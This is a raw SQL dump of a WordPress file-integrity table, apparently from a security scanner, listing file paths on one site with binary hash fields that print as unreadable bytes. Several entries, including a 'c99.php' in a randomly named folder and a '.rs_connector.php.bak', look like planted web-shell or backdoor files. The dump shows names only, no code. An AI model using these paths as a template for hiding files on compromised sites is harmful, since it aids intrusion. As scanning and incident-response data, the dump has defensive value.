('~\Z?OtY1','wp-includes/blocks/comments-pagination-numbers/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-numbers/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ңʟ;Vkn4','Lc߽4!BĢ:[Z\rQy','',0,'?'),
('~\\_b$-!','wp-includes/js/jquery/ui/selectable.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/selectable.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6wk8#Ӳ9','\\{JC8Y>W̦ʶ[','',0,'?'),
('~?JIb*׺eC','wp-admin/images/resize.gif','/home/trevorkl/trevorklee.com/wp-admin/images/resize.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lN','6󀏸&?5?sqGM`P;','',0,'?'),
('~FS5D`X_6\Z','wp-content/plugins/wordfence/modules/login-security/img/passkey.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/passkey.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6JWrz!','\n@ҳX*m^I/[۶ J\0j','',0,'?'),
('~F㫎>dyj','wp-includes/css/jquery-ui-dialog-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qa@<','||wm\nbRl`7VI((l','',0,'?'),
('~SkP[P+h-e','wp-includes/js/dist/script-modules/interactivity/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity/index.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@B)4TIH','Cy|R*K\':(H(܃}7','',0,'?'),
('~VXa]7p|R','wp-includes/class-wp-post-type.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-post-type.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=򗲙Ten9','EUd㻄0咴(%iNo~Ah;','',0,'?'),
('~iI;ݭ]AS','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/cacert.pem','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/cacert.pem',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GPEKTY)&F','_0d}f!vmEwWo','',0,'?'),
('~qIPIr','wp-includes/js/dist/vendor/wp-polyfill-node-contains.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-node-contains.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t\Zi wQ̅','z9}ՂutQh3\r?','',0,'?'),
('~}{ >D}<','wp-admin/css/code-editor.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/code-editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','03;7v:P','JlAZqFv<3I^k','',0,'?'),
('~ٰX\ZMD`2','wp-includes/blocks/terms-query/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/terms-query/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('~AfB.r\"C3g*','wp-includes/js/dist/script-modules/connectors/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/connectors/index.js',0,'Ԝ\'湅M5','Ԝ\'湅M5','p-e7lزҰ\rl','',0,'?'),
('~ReOXf2`','wp-includes/class-wp-post.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' QIȘ0','|tC,6;<8N [p4*Tf','',0,'?'),
('~C023*J','wp-includes/blocks/more/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?㈫	rpE.','}&ڈnJIXYɮyMd8f)','',0,'?'),
('~*޿S̙e','wp-admin/images/freedom-3.svg','/home/trevorkl/trevorklee.com/wp-admin/images/freedom-3.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(縫\ZX֚1l','集(;F\nkQu','',0,'?'),
('~Cy@A','wp-includes/blocks/accordion-heading/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-heading/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t̰@K:պbg','l0uUCx;=L;R','',0,'?'),
('~Pfԩ~1LYw','wp-includes/blocks/button/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b̈T3~58.','[^\0=z\0jl\']c;','',0,'?'),
('~`Wj|iLI=','wp-content/themes/twentynineteen/sass/site/primary/_archives.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_archives.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\njq@hD)r','ho3U 	~n6>i~M#','',0,'?'),
('~ťs\01y$L}h','wp-config-sample.php','/home/trevorkl/trevorklee.com/wp-config-sample.php',0,'<=g\ZHFk%','<=g\ZHFk%','zAjKM-msO̔K8!<','',0,'?'),
('~Ӹbc\Z$@$*','wp-content/plugins/wordfence/vendor/composer/autoload_real.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_real.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8b;=YXJ)շ','̆%\rNn_n\'EݸږW{=D','',0,'?'),
('~\n\'$<','wp-includes/blocks/details/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z$Up=','hD0DcErCQ6&0VLf|љ\r','',0,'?'),
('~͝ELSY\Z\0}','wp-includes/sitemaps/lpshcut/udgvzwn/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('~N!U,o<y_','wp-includes/SimplePie/library/SimplePie/Caption.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Caption.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1nNq#/o','T9kX_-dqPMf f8R+Yw','',0,'?'),
('~^%A','wp-content/themes/twentytwentyone/assets/sass/06-components/search.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/search.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{8@Iz}g','w][fv\\mS^F\rsd~\'','',0,'?'),
('ldKм','wp-includes/js/dist/components.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/components.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eԴLq3N','գ<<k7L&\nR{_m>¸','',0,'?'),
('!#*[\04','wp-content/plugins/wordfence/views/scanner/text/issue-wfLoginSecPresent.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfLoginSecPresent.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V@ SH	KBʽ','\n`tMDiK$	= klKHqoa','',0,'?'),
('6\0OkvzfTN','wp-includes/js/jquery/ui/effect-fold.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-fold.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7&<q!<9kSѪ','7b.Hƽ[/\n3	GO','',0,'?'),
('6>n@^!g','wp-content/themes/twentytwentyfour/theme.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/theme.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o<p$','QF^k!\'幨Lw69ː|#n;N$','',0,'?'),
('?4y8H','wp-includes/Text/udewhxn/krxqwmf/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('@={&}_','wp-content/plugins/wordfence/modules/login-security/classes/controller/ajax.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/ajax.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Bۀ\0؇G!;','12xNfQΧ49@27V,_R','',0,'?'),
('B2j70/zLq','wp-includes/css/dist/block-library/classic-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/classic-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';(F8r~`','O\nvz\"?]$:-5\\Y>dd','',0,'?'),
('cJweIOIq','wp-includes/blocks/cover/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*N{j䋴fy','h>kIicl9\\k^tYڅeP','',0,'?'),
('j&^b','wp-includes/ms-settings.php','/home/trevorkl/trevorklee.com/wp-includes/ms-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\n̞tasw~ө','sL_RgߤJ,pk^5C4p','',0,'?'),
('j^SN-O ','wp-includes/css/dist/components/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}ƫ\\E:R-','|s\\}xܭ5DCOSR','',0,'?'),
('j)Vk9','wp-content/themes/twentytwentyone/assets/js/customize-helpers.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize-helpers.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?1;dW`',']ABΜHҐLKan1몝I$`','',0,'?'),
('knpx?yD<','wp-content/themes/twentytwentyfour/assets/images/icon-message.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/icon-message.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}-\0Yv','ᙬʢPjO w[5\\C)u','',0,'?'),
('tS\"lZcQ','wp-admin/js/auth-app.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/auth-app.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','04z>s,\r','S\\|3m4:ϭqB\r7','',0,'?'),
('}BfkV=15lg','wp-includes/blocks/avatar/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*(\ZIz','e2,ՔenCL]s+','',0,'?'),
('z~48lGo8','wp-includes/js/dist/style-engine.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/style-engine.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(챆\\t=1/k','gꎊi?Rk-9#XF?','',0,'?'),
('D8-¤rl','wp-content/plugins/wordfence/images/logos/shield-care.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-care.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	 sh߉\0tv','f2\"(>lH93 	C$<','',0,'?'),
('%G]f@%Z','wp-content/plugins/wordfence/views/common/section-subtitle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/section-subtitle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n^\r#fstW\Z',':taQE&͜s١\nGb\\Z S1{','',0,'?'),
('b?Y`n\']','wp-includes/js/dist/script-modules/video-conversion/worker.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/video-conversion/worker.min.js',0,')V1',')V1','j*jix/-%SLcgNm','',0,'?'),
('СqD֚?iX','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/utils.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/utils.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Vi>8v','zu&;I$\"LYjLGss','',0,'?'),
('\"t_&<@]W','wp-content/plugins/loginizer/init.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/init.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GȦ\"y','2.\0yǕ>w\Z4pmV','',0,'?'),
('KQ}U&;&Q','wp-includes/meta.php','/home/trevorkl/trevorklee.com/wp-includes/meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F\0	ŗ	Uўt~','Dvùg6Bƹꖗ','',0,'?'),
('p\\әFlx','wp-includes/html-api/rcfospm/yrfsgvq/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('trεF_ ','wp-includes/js/wp-emoji-loader.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-emoji-loader.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<a\Z\Zb;))-','h9&Oc1@\0`h','',0,'?'),
('I5t\n)Puei','wp-content/themes/twentytwentyfive/theme.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/theme.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d[׹n','ӊJ%ڌ<Ǜqqw}̷s{4$','',0,'?'),
('͍ρbB','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ed25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QbD`/]|o ','NNIfʓHEZZ9GR<|\"','',0,'?'),
('$qb!X\\	;','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-5.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-5.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wP@s4M_=','+$їʍ_]P\'fa>u^jAB=','',0,'?'),
('3-f\n','wp-includes/css/dist/list-reusable-blocks/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GMsFY','Ӻ҄dO9*\"kMr:{\'V`i','',0,'?'),
(';!1>YxQ','wp-includes/js/dist/block-editor.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L*t\0&&_',';JɫGy^__.N	','',0,'?'),
('wB6D+ȸE','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ws:','0	HelYZVu*Z+1/<','',0,'?'),
('x\Z\n\"y;n\"V','wp-content/.rs_g9/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g9/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('ah#8c','wp-includes/js/tinymce/themes/inlite/theme.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/inlite/theme.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ODIc`EJ','pvT5Z>jj\0\0fxa/g=&','',0,'?'),
('#\\7\ZhGl','wp-includes/blocks/post-navigation-link/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r[u׀?vFq!u','R/(+\"	~$W\r@]c=@Jw\ZG','',0,'?'),
('}D|	=','wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/^Hy\rVpR','\"3fC]\nJb]o\'cK\'F	','',0,'?'),
('r=cMz','wp-includes/js/dist/is-shallow-equal.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/is-shallow-equal.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%+$d=,.)','yQ9I%H4Bt5)','',0,'?'),
('%	+곂4{:','wp-content/plugins/wordfence/modules/login-security/classes/utility/serialization.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/serialization.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oѕbYR','tiioP7,R|qX)ᆊǮf@Kv	','',0,'?'),
('!h\Zɨ$\"R','wp-includes/css/dist/edit-site/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ũ`\\g/','dxCH\n~ nh=N}','',0,'?'),
('ںuM[\r','wp-admin/images/wpspin_light-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/wpspin_light-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{%-E;|','u)JA92$N8\'F','',0,'?'),
('Nxډ\Z8yH\\','wp-admin/js/theme-plugin-editor.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/theme-plugin-editor.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zi HGxLoˉ','	5(T?/if;ԋ0^\"%He','',0,'?'),
('sSki<4\'c-6','wp-includes/js/wp-embed.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-embed.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wbsxgp)q2*','.b$-\'wP\\/\"OXH','',0,'?'),
('.ճ_y','wp-includes/blocks/math/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U$a-','/^u)[=L|N_4AZJ,','',0,'?'),
('e97aJS','wp-includes/images/smilies/icon_smile.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_smile.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3.)2p','ˠ\",RʨTr=orЗ:','',0,'?'),
('Qru\\w','wp-includes/blocks/accordion/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kT0kUٵ','@q\Zxt-\"P)','',0,'?'),
('\0AؓP0~s1','wp-includes/js/dist/script-modules/registry.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/registry.php',0,'4]75x5*','4]75x5*','\'F3~\r$\n_WL5b<%','',0,'?'),
('XQd9rڼ','wp-includes/customize/class-wp-customize-themes-section.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-themes-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VYr\\ܘ/1','RfZZ#C/\ZPaejUtA^J','',0,'?'),
('cdcƚq~%','wp-includes/blocks/navigation-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ScY\\C?','Di8Uݣʂ$\ZSz+\r','',0,'?'),
('/\077TŨ/','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/c99.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/c99.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
('L؁7Ifz!^','wp-content/well-known/acme-challenge/b/e/d/a/a/index.php','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/b/e/d/a/a/index.php',0,'^V⤢8,ߑJiۃ','^V⤢8,ߑJiۃ','~h\n{]|Mv3:\rb','',0,'?'),
('el5sEúQ','wp-admin/js/media-upload.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/media-upload.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WC}KF j','w@S¼|\r>R4\nN3YsS','',0,'?'),
('z:*h&WH','wp-includes/blocks/pullquote/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(',CUU9i-','wp-includes/css/wp-auth-check.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ږ_7.fR','c6~s}\\cyr@:?$jB_','',0,'?'),
('p	<]\r','wp-content/plugins/wordfence/css/main.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/main.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\04M','5n\r\Z68/Fs$I^','',0,'?'),
('	ǩ:\0H>ۆa','wp-admin/css/colors/blue/blue/mkv_6aa36d5bb4f22.zip','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/blue/mkv_6aa36d5bb4f22.zip',0,'a#Kg\r&#','a#Kg\r&#','\Z,EG`CBl@_35o>Y','',0,'?'),
('o>V_r','wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	*8b0eG','%B\0/\"k\0H>\0T!s]ݷ','',0,'?'),
('ȉV?	])A','wp-includes/js/media-views.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-views.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^psmd','2p:@; k 84\Ziq','',0,'?'),
('Vk8`+','wp-includes/js/dist/development/react-refresh-entry.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-entry.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	`OmWeI{_','ǒK4i\'R!Dim0mu/','',0,'?'),
('`hNkON8','wp-includes/blocks/file/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^e7ST݉I','2{o}r62=;;b','',0,'?'),
('W=ԘHdz','wp-includes/class-wp-site-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-site-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G;c]S/','b V֮Fȸ\n;F\"FLy\r','',0,'?'),
('X-4J_3','wp-content/plugins/wordfence/lib/wordfenceHash.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o\\!̓:','oCCC)E>ZyB, 2#Sce֭>','',0,'?'),
('\'>[·','wp-admin/js/user-profile.js','/home/trevorkl/trevorklee.com/wp-admin/js/user-profile.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q4[[$','\"F4x*ƃ-kco','',0,'?'),
('Pdc3','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.<$E\0g:T','ƝER%f\\ɾ\rv8C^h','',0,'?'),
('Vs\0','wp-content/plugins/wordfence/lib/wfIpLocation.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIpLocation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fQBDI','=9qQX|taOn_bKA.ru^Y','',0,'?'),
('OXg]<f@','wp-admin/css/farbtastic-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/farbtastic-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S@[\\,3|!','Sm\';d`eM0i=?>?{','',0,'?'),
('uWۓWP^(L','wp-includes/blocks/post-navigation-link/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OvSi?\0Â(','ŶCϭhF0:2Iv\ZT','',0,'?'),
('3Ƈe(ú9','wp-includes/js/jquery/suggest.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/suggest.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s\\+A)n.;','I<{\04`<!jZ8돲DHW','',0,'?'),
('bN8hk','wp-includes/rest-api/search/class-wp-rest-term-search-handler.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0a^bR\\r','0EtZ[ĈiuО','',0,'?'),
('\0Oz','wp-includes/js/dist/script-modules/interactivity/debug.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity/debug.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&eͩliDba','1WnFψYdz5bU$u|K','',0,'?'),
('\\(wBI','wp-admin/network/update.php','/home/trevorkl/trevorklee.com/wp-admin/network/update.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l	ΒRU;ppb',',!m4fNR\nB^','',0,'?'),
('(tTlDά7&MP.','wp-includes/js/tinymce/tiny_mce_popup.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/tiny_mce_popup.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B7I10d','\'З/!\Za!~)1D','',0,'?'),
('/	E:KR寥v','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/X25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V[SPkC','ںمŴ}C:ø=~Q(8$Q','',0,'?'),
('@F Ӡ(e*[','wp-admin/js/theme-plugin-editor.js','/home/trevorkl/trevorklee.com/wp-admin/js/theme-plugin-editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r4,bL];w#','lCP\\~\r)\'Y^\Z$5l[;','',0,'?'),
('DP0E	V^g','wp-content/plugins/akismet/class-akismet-connector.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-connector.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' m`\r','4?reF_EH&?̸}q','',0,'?'),
('F GJBs7','wp-includes/js/media-models.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-models.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kib&. \r','fl:h≫dA0R s7c','',0,'?'),
('MȮs%}+=','wp-includes/blocks/latest-posts/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƚ\"Cƾ	v5','\"^C+4-\Zť','',0,'?'),
('W= \\\'x\"W}d','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','թK^㥾','M8:naƋGZqQdý!\'&g1','',0,'?'),
('Yػ甩*','wp-includes/css/dist/edit-post/classic-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?YEAdN$;f^%','Q\nZqQ;rO','',0,'?'),
('_&Hg','wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E/C\Z)x\rO\r','\rs}n2Ԕme@','',0,'?'),
('px\\?;hE/','wp-content/themes/twentytwentyone/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nOARtE','7@\0)2qZ#-6zE*t*ڹ','',0,'?'),
('w5)','wp-includes/css/wp-embed-template-ie.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template-ie.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hg9iyg7P*','C!`\rA\08M^/\0p','',0,'?'),
('\0+OW+','index.php','/home/trevorkl/trevorklee.com/index.php',0,'$Θ\\\Z','$Θ\\\Z','FΆ̿/\nr>n:ҟ-','',0,'0'),
('A1\Z;','wp-includes/rss.php','/home/trevorkl/trevorklee.com/wp-includes/rss.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','inzRJ7mB','MrD]3c9B+!R)2','',0,'?'),
(':<CEly','wp-includes/SimplePie/src/Category.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Category.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';D@0\\G','XBP%\Z7#fq5/⎷&\'3','',0,'?'),
